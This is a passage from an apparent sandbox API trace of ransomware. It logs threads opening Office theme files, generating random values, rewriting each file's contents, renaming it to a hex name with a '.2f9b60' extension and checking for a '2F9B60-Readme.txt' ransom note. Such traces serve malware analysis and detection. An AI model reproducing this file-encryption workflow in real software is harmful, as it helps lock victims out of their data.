BaseAddress=0x1cd97580) returned 1 [0104.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f6b0 [0104.189] sprintf (in: _Dest=0x1cd9f6b0, _Format="%c%c" | out: _Dest="e1") returned 2 [0104.189] sprintf (in: _Dest=0x1cd9f6b2, _Format="%c%c" | out: _Dest="8b") returned 2 [0104.189] sprintf (in: _Dest=0x1cd9f6b4, _Format="%c%c" | out: _Dest="aa") returned 2 [0104.189] sprintf (in: _Dest=0x1cd9f6b6, _Format="%c%c" | out: _Dest="1d") returned 2 [0104.189] sprintf (in: _Dest=0x1cd9f6b8, _Format="%c%c" | out: _Dest="e7") returned 2 [0104.189] sprintf (in: _Dest=0x1cd9f6ba, _Format="%c%c" | out: _Dest="3e") returned 2 [0104.189] sprintf (in: _Dest=0x1cd9f6bc, _Format="%c%c" | out: _Dest="03") returned 2 [0104.189] sprintf (in: _Dest=0x1cd9f6be, _Format="%c%c" | out: _Dest="e0") returned 2 [0104.189] sprintf (in: _Dest=0x1cd9f6c0, _Format="%c%c" | out: _Dest="c9") returned 2 [0104.189] sprintf (in: _Dest=0x1cd9f6c2, _Format="%c%c" | out: _Dest="a7") returned 2 [0104.189] sprintf (in: _Dest=0x1cd9f6c4, _Format="%c%c" | out: _Dest="9e") returned 2 [0104.189] sprintf (in: _Dest=0x1cd9f6c6, _Format="%c%c" | out: _Dest="02") returned 2 [0104.189] sprintf (in: _Dest=0x1cd9f6c8, _Format="%c%c" | out: _Dest="aa") returned 2 [0104.189] sprintf (in: _Dest=0x1cd9f6ca, _Format="%c%c" | out: _Dest="00") returned 2 [0104.189] sprintf (in: _Dest=0x1cd9f6cc, _Format="%c%c" | out: _Dest="d5") returned 2 [0104.189] sprintf (in: _Dest=0x1cd9f6ce, _Format="%c%c" | out: _Dest="83") returned 2 [0104.189] sprintf (in: _Dest=0x1cd9f6d0, _Format="%c%c" | out: _Dest="42") returned 2 [0104.189] sprintf (in: _Dest=0x1cd9f6d2, _Format="%c%c" | out: _Dest="c7") returned 2 [0104.189] sprintf (in: _Dest=0x1cd9f6d4, _Format="%c%c" | out: _Dest="8f") returned 2 [0104.189] sprintf (in: _Dest=0x1cd9f6d6, _Format="%c%c" | out: _Dest="e4") returned 2 [0104.190] RtlInitAnsiString (in: DestinationString=0x28c4fc88, SourceString="e18baa1de73e03e0c9a79e02aa00d58342c78fe4" | out: DestinationString="e18baa1de73e03e0c9a79e02aa00d58342c78fe4") [0104.190] RtlAnsiStringToUnicodeString (in: DestinationString=0x28c4fc58, SourceString="e18baa1de73e03e0c9a79e02aa00d58342c78fe4", AllocateDestinationString=1 | out: DestinationString="e18baa1de73e03e0c9a79e02aa00d58342c78fe4") returned 0x0 [0104.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c7f0 [0104.190] wcscat (in: _Dest=0x20501ed0, _Source="e18baa1de7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\e18baa1de7") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\e18baa1de7" [0104.190] wcscat (in: _Dest=0x20501ed0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\e18baa1de7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\e18baa1de7.2f9b60" [0104.190] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\e18baa1de7.2f9b60", NtPathName=0x28c4fc30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\e18baa1de7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x119240 [0104.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119240) returned 1 [0104.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98bc0) returned 1 [0104.703] NtQueryInformationFile (in: FileHandle=0x151c, IoStatusBlock=0x28c4fc98, FileInformation=0x28c4fca8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x28c4fc98, FileInformation=0x28c4fca8) returned 0x0 [0104.703] NtSetInformationFile (FileHandle=0x151c, IoStatusBlock=0x28c4fc98, FileInformation=0x28c4fca8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501ed0) returned 1 [0104.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c7f0) returned 1 [0104.710] FlushFileBuffers (hFile=0x151c) returned 1 [0104.717] CloseHandle (hObject=0x151c) returned 1 [0104.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279370 [0104.717] wcscpy (in: _Dest=0x20279370, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0104.717] wcscat (in: _Dest=0x20279370, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0104.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0104.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279370) returned 1 [0104.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce10f20) returned 1 Thread: id = 613 os_tid = 0x1078 [0095.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml")) returned 0x20 [0104.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml", dwFileAttributes=0x20) returned 1 [0105.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe54 [0105.400] GetFileSizeEx (in: hFile=0xe54, lpFileSize=0x28e8f9a0 | out: lpFileSize=0x28e8f9a0*=959) returned 1 [0105.400] SetFilePointerEx (in: hFile=0xe54, liDistanceToMove=0x3bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.400] ReadFile (in: hFile=0xe54, lpBuffer=0x28e8f920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28e8f968, lpOverlapped=0x0 | out: lpBuffer=0x28e8f920*, lpNumberOfBytesRead=0x28e8f968*=0x4, lpOverlapped=0x0) returned 1 [0105.419] SetFilePointerEx (in: hFile=0xe54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6650 [0105.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6620 [0105.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6410 [0105.419] NtQuerySystemTime (in: CurrentTime=0x28e8f860 | out: CurrentTime=0x28e8f860*=132462177109078000) returned 0x0 [0105.419] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x2b9a88a7 [0105.419] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x6b5443cc [0105.419] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x1895f048 [0105.419] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x490fa72f [0105.419] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x43d790dd [0105.419] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x1ff32ba8 [0105.419] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x74585123 [0105.419] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x524b0721 [0105.419] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x27f54023 [0105.419] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x2641d71c [0105.419] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x12b849c [0105.419] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x48119f1e [0105.419] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x5002bb81 [0105.419] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0xe4b9088 [0105.419] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x7e460301 [0105.419] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x4cf8acc1 [0105.419] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x3b4999f2 [0105.420] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x4a75f981 [0105.420] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x772d22fd [0105.420] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x5f7b21be [0105.420] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x511d8626 [0105.420] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x18fe2f87 [0105.420] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x2671d751 [0105.420] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x3063a803 [0105.420] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x50efae6e [0105.420] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x1dc41f5a [0105.420] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x589ab5f6 [0105.420] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x7eeef7f5 [0105.420] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x778199b4 [0105.420] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x4ca2fb41 [0105.420] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x524b0721 [0105.420] RtlRandomEx (in: Seed=0x28e8f850 | out: Seed=0x28e8f850) returned 0x55204d5d [0105.431] ReadFile (in: hFile=0xe54, lpBuffer=0x41f13cc0, nNumberOfBytesToRead=0x3bf, lpNumberOfBytesRead=0x28e8f850, lpOverlapped=0x0 | out: lpBuffer=0x41f13cc0*, lpNumberOfBytesRead=0x28e8f850*=0x3bf, lpOverlapped=0x0) returned 1 [0105.431] SetFilePointerEx (in: hFile=0xe54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.432] WriteFile (in: hFile=0xe54, lpBuffer=0x41f39560*, nNumberOfBytesToWrite=0x3bf, lpNumberOfBytesWritten=0x28e8f854, lpOverlapped=0x0 | out: lpBuffer=0x41f39560*, lpNumberOfBytesWritten=0x28e8f854*=0x3bf, lpOverlapped=0x0) returned 1 [0105.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b00 [0105.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202609e0 [0105.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202609e0) returned 1 [0105.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f39560) returned 1 [0105.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f13cc0) returned 1 [0105.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0105.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0105.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x202609e0 [0105.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97760 [0105.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0105.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262840 [0105.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262840) returned 1 [0105.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20262840 [0105.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626c0 [0105.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262720 [0105.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262720) returned 1 [0105.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0105.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0105.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x1695e0 [0105.534] SetFilePointerEx (in: hFile=0xe54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0105.534] WriteFile (in: hFile=0xe54, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x28e8f970, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x28e8f970*=0x102, lpOverlapped=0x0) returned 1 [0105.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97760 [0105.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f010 [0105.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a64d0 [0105.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a64d0) returned 1 [0105.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d000 [0105.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a64d0 [0105.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a63b0 [0105.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a63b0) returned 1 [0105.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f010) returned 1 [0105.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0105.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x202a63b0 [0105.571] sprintf (in: _Dest=0x202a63b0, _Format="%c%c" | out: _Dest="86") returned 2 [0105.572] sprintf (in: _Dest=0x202a63b2, _Format="%c%c" | out: _Dest="56") returned 2 [0105.572] sprintf (in: _Dest=0x202a63b4, _Format="%c%c" | out: _Dest="d0") returned 2 [0105.572] sprintf (in: _Dest=0x202a63b6, _Format="%c%c" | out: _Dest="12") returned 2 [0105.572] sprintf (in: _Dest=0x202a63b8, _Format="%c%c" | out: _Dest="fd") returned 2 [0105.572] sprintf (in: _Dest=0x202a63ba, _Format="%c%c" | out: _Dest="bf") returned 2 [0105.572] sprintf (in: _Dest=0x202a63bc, _Format="%c%c" | out: _Dest="81") returned 2 [0105.572] sprintf (in: _Dest=0x202a63be, _Format="%c%c" | out: _Dest="5b") returned 2 [0105.572] sprintf (in: _Dest=0x202a63c0, _Format="%c%c" | out: _Dest="65") returned 2 [0105.572] sprintf (in: _Dest=0x202a63c2, _Format="%c%c" | out: _Dest="75") returned 2 [0105.572] sprintf (in: _Dest=0x202a63c4, _Format="%c%c" | out: _Dest="36") returned 2 [0105.572] sprintf (in: _Dest=0x202a63c6, _Format="%c%c" | out: _Dest="2c") returned 2 [0105.572] sprintf (in: _Dest=0x202a63c8, _Format="%c%c" | out: _Dest="9e") returned 2 [0105.572] sprintf (in: _Dest=0x202a63ca, _Format="%c%c" | out: _Dest="ce") returned 2 [0105.572] sprintf (in: _Dest=0x202a63cc, _Format="%c%c" | out: _Dest="c9") returned 2 [0105.572] sprintf (in: _Dest=0x202a63ce, _Format="%c%c" | out: _Dest="52") returned 2 [0105.572] RtlInitAnsiString (in: DestinationString=0x28e8f9e8, SourceString="8656d012fdbf815b6575362c9ecec952" | out: DestinationString="8656d012fdbf815b6575362c9ecec952") [0105.572] RtlAnsiStringToUnicodeString (in: DestinationString=0x28e8f9b8, SourceString="8656d012fdbf815b6575362c9ecec952", AllocateDestinationString=1 | out: DestinationString="8656d012fdbf815b6575362c9ecec952") returned 0x0 [0105.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd97bc0 [0105.573] RtlFreeAnsiString (AnsiString="8") [0105.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a63b0) returned 1 [0105.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0105.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a64d0) returned 1 [0105.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1695e0) returned 1 [0105.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262840) returned 1 [0105.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202626c0) returned 1 [0105.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202609e0) returned 1 [0105.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b00) returned 1 [0105.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6620) returned 1 [0105.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6320) returned 1 [0105.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a62c0) returned 1 [0105.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1b7a6150 [0105.574] wcscat (in: _Dest=0x1b7a6150, _Source="8656d012" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\8656d012") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\8656d012" [0105.574] wcscat (in: _Dest=0x1b7a6150, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\8656d012.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\8656d012.2f9b60" [0105.574] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\8656d012.2f9b60", NtPathName=0x28e8f990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\8656d012.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x118470 [0105.574] NtSetInformationFile (FileHandle=0xe54, IoStatusBlock=0x28e8fa30, FileInformation=0x118470, Length=0xc2, FileInformationClass=0xa) returned 0x0 [0105.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118470) returned 1 [0105.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420520b0) returned 1 [0105.620] NtQueryInformationFile (in: FileHandle=0xe54, IoStatusBlock=0x28e8f9f8, FileInformation=0x28e8fa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x28e8f9f8, FileInformation=0x28e8fa08) returned 0x0 [0105.620] NtSetInformationFile (FileHandle=0xe54, IoStatusBlock=0x28e8f9f8, FileInformation=0x28e8fa08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a6150) returned 1 [0105.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0105.638] FlushFileBuffers (hFile=0xe54) returned 1 [0105.640] CloseHandle (hObject=0xe54) returned 1 [0105.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x202788f0 [0105.641] wcscpy (in: _Dest=0x202788f0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0105.641] wcscat (in: _Dest=0x202788f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0105.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0105.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202788f0) returned 1 [0105.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad7a0) returned 1 Thread: id = 614 os_tid = 0x107c [0095.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml")) returned 0x20 [0103.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml", dwFileAttributes=0x20) returned 1 [0103.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x159c [0103.607] GetFileSizeEx (in: hFile=0x159c, lpFileSize=0x28e0f740 | out: lpFileSize=0x28e0f740*=960) returned 1 [0103.607] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0x3bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.607] ReadFile (in: hFile=0x159c, lpBuffer=0x28e0f6c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28e0f708, lpOverlapped=0x0 | out: lpBuffer=0x28e0f6c0*, lpNumberOfBytesRead=0x28e0f708*=0x4, lpOverlapped=0x0) returned 1 [0103.651] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd30 [0103.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f880 [0103.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0103.651] NtQuerySystemTime (in: CurrentTime=0x28e0f600 | out: CurrentTime=0x28e0f600*=132462177091606000) returned 0x0 [0103.651] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x5de03081 [0103.651] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x71e5581 [0103.651] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x4e664475 [0103.651] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x198963f3 [0103.651] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x498538f [0103.651] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x1f0962a3 [0103.651] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x25f24798 [0103.651] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x4c54cc1 [0103.651] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x1248ed1c [0103.651] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x542d7e68 [0103.651] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x5090d0f4 [0103.651] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0xa16e712 [0103.651] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x234c25cc [0103.651] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x72a60eea [0103.651] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x5be9fdd8 [0103.651] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x67c71ec6 [0103.651] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x653ca1bf [0103.651] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x1de5153f [0103.651] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x58c71cdf [0103.651] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x6b82a185 [0103.651] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x727f8987 [0103.651] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x28e6ef4b [0103.651] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0xfb58539 [0103.651] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x72498ca4 [0103.652] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x66938ff3 [0103.652] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x5f7bb2e [0103.652] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x2cdc0d3c [0103.652] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x791aa124 [0103.652] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x63395924 [0103.652] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x5db557c1 [0103.652] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x4a63c07e [0103.652] RtlRandomEx (in: Seed=0x28e0f5f0 | out: Seed=0x28e0f5f0) returned 0x65d371fc [0103.660] ReadFile (in: hFile=0x159c, lpBuffer=0x41eea520, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x28e0f5f0, lpOverlapped=0x0 | out: lpBuffer=0x41eea520*, lpNumberOfBytesRead=0x28e0f5f0*=0x3c0, lpOverlapped=0x0) returned 1 [0103.660] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.660] WriteFile (in: hFile=0x159c, lpBuffer=0x41eee130*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x28e0f5f4, lpOverlapped=0x0 | out: 